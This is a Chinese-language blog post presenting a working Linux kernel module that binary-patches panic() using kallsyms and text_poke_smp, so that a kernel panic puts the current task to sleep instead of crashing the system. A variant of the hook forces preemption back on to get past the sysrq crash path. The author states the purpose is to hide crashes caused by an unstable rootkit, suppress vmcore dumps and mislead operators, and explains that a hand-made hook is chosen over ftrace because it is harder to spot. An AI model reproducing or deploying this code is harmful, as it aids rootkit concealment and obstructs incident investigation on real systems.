有的时候,kernel panic并不一定非要真的panic,比如说你自己模块里发生了内存违规访问,在你确定发生panic的地方并不会影响整个内核,其危害半径足以收敛的前提下,panic可以有不同的行为:
- 直接将当前task给schedule出去。
虽然在中断上下文这样做可能会危害无辜的进程,使其再也调度不回来了,但也总比整体重启要好。
下面的代码展示了如何做:
// panic_resched.c
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <linux/preempt_mask.h>
#include <linux/cpu.h>
char *stub = NULL;
char *addr_user = NULL;
void stub_panic(const char *fmt, ...)
{
if (0 /* 破坏了内核共享数据 */)
return;
if (0 && preempt_count()) // 为了测试sysrq-Crash,不得不先禁用这个。
return;
// 只要允许,就不要真的panic,而是直接schedule出去。
__set_current_state(TASK_UNINTERRUPTIBLE);
local_irq_enable();
schedule();
// 由于current不再RUNNING,不会再被调度,永远不会到这里。
}
#define FTRACE_SIZE 5
#define POKE_OFFSET 0
#define POKE_LENGTH 5
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
unsigned char jmp_call[POKE_LENGTH];
unsigned char orig_call[POKE_LENGTH];
static int __init panic_resched_init(void)
{
s32 offset;
addr_user = (void *)kallsyms_lookup_name("panic");
if (!addr_user) {
return -1;
}
_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
if (!_text_poke_smp) {
return -1;
}
stub = (void *)stub_panic;
jmp_call[0] = 0xe8;
offset = (s32)((long)stub - (long)addr_user - FTRACE_SIZE);
(*(s32 *)(&jmp_call[1])) = offset;
memcpy(orig_call, &addr_user[POKE_OFFSET], POKE_LENGTH);
get_online_cpus();
_text_poke_smp(&addr_user[POKE_OFFSET], jmp_call, POKE_LENGTH);
put_online_cpus();
return 0;
}
static void __exit panic_resched_exit(void)
{
get_online_cpus();
_text_poke_smp(&addr_user[POKE_OFFSET], orig_call, POKE_LENGTH);
put_online_cpus();
}
module_init(panic_resched_init);
module_exit(panic_resched_exit);
MODULE_LICENSE("GPL");
来来来,看效果:
[root@localhost test]# insmod ./panic_resched.ko
[root@localhost test]# echo c >/proc/sysrq-trigger &
[1] 1617
[root@localhost test]# ps -elf|grep 1617
1 D root 1617 1598 0 80 0 - 28894 stub_p 19:11 pts/1 00:00:00 -bash # D住了而已
...
显然,这种panic并没有真的宕机,只是schedule了出去。
注意代码里的注释:
if (0 && preempt_count()) // 为了测试sysrq-Crash,不得不先禁用这个。
由于用sysrq触发crash等action的时候,会持有一把spinlock,而spinlock会禁用抢占,所以sysrq触发crash的时候,其preempt_count()为非0。
我们可以用下面的代码绕过它:
while (preempt_count())
preempt_enable_no_resched();
OK,完整的hook为:
void stub_panic(const char *fmt, ...)
{
if (0 /* 破坏了内核共享数据 */)
return;
while (preempt_count())
preempt_enable_no_resched();
// 只要允许,就不要真的panic,而是直接schedule出去。
__set_current_state(TASK_UNINTERRUPTIBLE);
local_irq_enable();
schedule();
// 由于current不再RUNNING,不会再被调度,永远不会到这里。
}
然而,事情还是不完美,如果current在panic的时候持有spinlock,那么当再有逻辑去fetch同一把spinlock的时候,就会死锁,因为当前panic的上下文再也回不来了,这可怎么办?
关于如何解锁的逻辑,我后面再单独说,现在的问题是, 根本没有必要搞这么完美。
- hook panic并非一个功能性需求,它只是一个尽力而为的逻辑。
- hook panic更多的是为了干坏事,迷惑运维和经理的手下,把他们排查问题的思路带偏,从而隐藏自己真正的rootkit。
事实上,基于上述的目的,有时候死锁反而是好事。
如果由于自己的rootkit不稳定而panic了,那么本文的hook将会隐藏这次panic的事实并且阻止vmcore的生成,硬生生的把运维和经理的手下们的思路带歪到 “咦?怎么死锁了?” 这种节奏里。
哈哈,就这么回事。
哎哎,咋了,这次咋不用stap了呢?或者至少用kprobe也行啊,放着现成的东西不用,为啥非要手工玩二进制hook呢?
能手工做的就不用工具,因为工具不可控。我们知道,stap以及其底层kprobe用的是ftrace框架,而从hook点到真正调用到ftrace的回调函数,中间的路径极其的不短,其中你不能保证是不是有spinlock,信号量等,或者一些oneshot变量。
要知道,我们的hook函数永远不会再返回了,如果在ftrace前面save的上下文无法在hook返回后被restore,系统将是失控的状态。此外,那么大一脬ftrace的代码在那里,渣渣都能看出函数被动了手脚。
还是那句话,手艺人的玩法,那就是尽量干纯手工活儿,独立且可靠。
浙江温州皮鞋湿,下雨进水不会胖。